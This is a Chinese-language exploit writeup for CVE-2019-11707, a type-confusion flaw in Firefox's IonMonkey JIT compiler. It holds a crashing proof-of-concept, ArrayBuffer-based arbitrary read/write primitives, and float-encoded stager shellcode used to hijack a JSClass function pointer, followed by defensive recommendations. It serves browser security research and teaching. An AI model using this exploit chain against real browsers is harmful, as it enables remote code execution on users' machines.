CVE-2019-11707 Writeup
字数 1755 2025-08-27 12:33:48
CVE-2019-11707漏洞分析与利用教学文档
漏洞概述
CVE-2019-11707是Firefox浏览器中IonMonkey JavaScript引擎的一个类型混淆漏洞。该漏洞源于IonMonkey在内联Array.pop()操作时对prototype链检查不完整,导致可以绕过类型检查,最终实现类型混淆和内存破坏。
前置知识
JavaScript Prototype机制
- Prototype是JavaScript实现继承的方式,允许在对象间共享属性和方法
- 每个对象都有一个prototype属性指向其原型对象
- 当访问对象属性时,如果对象本身没有该属性,会沿着prototype链向上查找
IonMonkey优化机制
- IonMonkey是SpiderMonkey引擎的JIT编译器
- 内联缓存(Inline Cache)保存先前查找结果以优化性能
- 类型推断(Type Inference)跟踪变量类型以生成优化代码
- 内联函数调用时,会基于类型推断结果省略类型检查
漏洞细节
根本原因
IonMonkey在内联Array.pop()、Array.push()和Array.slice()时,只检查ArrayPrototype上的索引元素,而没有检查整个prototype链上的所有prototype对象。这导致可以通过在prototype链中间插入带有索引元素的prototype来绕过类型检查。
漏洞代码分析
在js/src/jit/MCallOptimize.cpp中的inlineArrayPopShift函数:
bool hasIndexedProperty;
MOZ_TRY_VAR(hasIndexedProperty, ArrayPrototypeHasIndexedProperty(this, script()));
if (hasIndexedProperty) {
trackOptimizationOutcome(TrackedOutcome::ProtoIndexedProps);
return InliningStatus_NotInlined;
}
这段代码只检查ArrayPrototype是否有索引属性,而没有检查整个prototype链。
漏洞触发条件
- 创建一个对象数组,使类型推断认为数组始终包含对象
- 修改数组的prototype,在prototype链中间插入带有非对象索引元素的prototype
- 当数组变为稀疏数组时,
Array.pop()会返回prototype中的非对象元素 - JIT编译的代码仍认为返回的是对象,导致类型混淆
漏洞利用
初始PoC分析
const v4 = [{a: 0}, {a: 1}, {a: 2}, {a: 3}, {a: 4}];
function v7(v8, v9) {
if (v4.length == 0) {
v4[3] = {a: 5};
}
const v11 = v4.pop();
v11.a; // 崩溃点
for (let v15 = 0; v15 < 10000; v15++) {}
}
var p = {};
p.__proto__ = [{a: 0}, {a: 1}, {a: 2}];
p[0] = -1.8629373288622089e-06;
v4.__proto__ = p;
for (let v31 = 0; v31 < 1000; v31++) {
v7();
}
利用步骤详解
1. 创建类型混淆
目标是混淆Uint32Array和Uint8Array类型:
- 创建
Uint32Array视图的数组 - 修改数组prototype使其包含
Uint8Array - JIT编译后,代码会以
Uint32Array的方式操作Uint8Array,导致越界写入
2. 内存布局操作
- 创建多个连续的
ArrayBuffer对象 - 利用越界写入修改相邻
ArrayBuffer的metadata(长度字段) - 扩大一个
ArrayBuffer的范围使其覆盖下一个ArrayBuffer的metadata
3. 信息泄露
- 通过修改后的
ArrayBuffer读取被覆盖的metadata - 泄露
ArrayBuffer视图地址和组(group)指针
4. 实现任意读写
- 修改
ArrayBuffer的数据指针指向任意地址 - 通过该
ArrayBuffer的视图实现读写原语:
function write(addr, value) {
for (var i = 0; i < 8; i++) changer[i] = addr[i]
value.reverse()
for (var i = 0; i < 8; i++) leaker[i] = value[i]
}
function read(addr) {
for (var i = 0; i < 8; i++) changer[i] = addr[i]
return leaker.slice(0, 8)
}
5. 代码执行
- 泄露
JSClass结构体地址 - 伪造
JSClass结构体,特别是ClassOps函数表 - 注入shellcode并获取其地址
- 劫持
addProperty函数指针指向shellcode - 触发shellcode执行
Shellcode注入
使用浮点数编码的stager shellcode:
buf[7].func = function func() {
const magic = 4.183559446463817e-216;
const g1 = 1.4501798452584495e-277 // mov rcx, qword ptr [rcx]
const g2 = 1.4499730218924257e-277 // push 0x1000
const g3 = 1.4632559875735264e-277 // pop rsi; xor rdi,rdi
const g4 = 1.4364759325952765e-277 // push 0xfff; pop rdi
const g5 = 1.450128571490163e-277 // not rdi; nop; nop; nop
const g6 = 1.4501798485024445e-277 // and rdi, rcx
const g7 = 1.4345589835166586e-277 // push 7; pop rdx; push 10; pop rax
const g8 = 1.616527814e-314 // push rcx; syscall; ret
}
防御措施
- 完善prototype链检查,确保检查所有中间prototype
- 加强类型推断系统对prototype变化的跟踪
- 增加对JIT编译代码的类型安全检查
- 实现更严格的ArrayBuffer隔离
总结
CVE-2019-11707展示了JavaScript引擎中类型系统与优化机制交互时可能产生的安全问题。通过精心构造的prototype链,攻击者可以绕过类型检查,实现类型混淆和内存破坏。该漏洞的利用涉及多个高级技巧,包括:
- 利用JIT优化和类型推断的差异
- 操作内存布局实现信息泄露
- 构建任意读写原语
- 劫持控制流执行shellcode
理解这类漏洞对于浏览器安全研究和防御具有重要价值。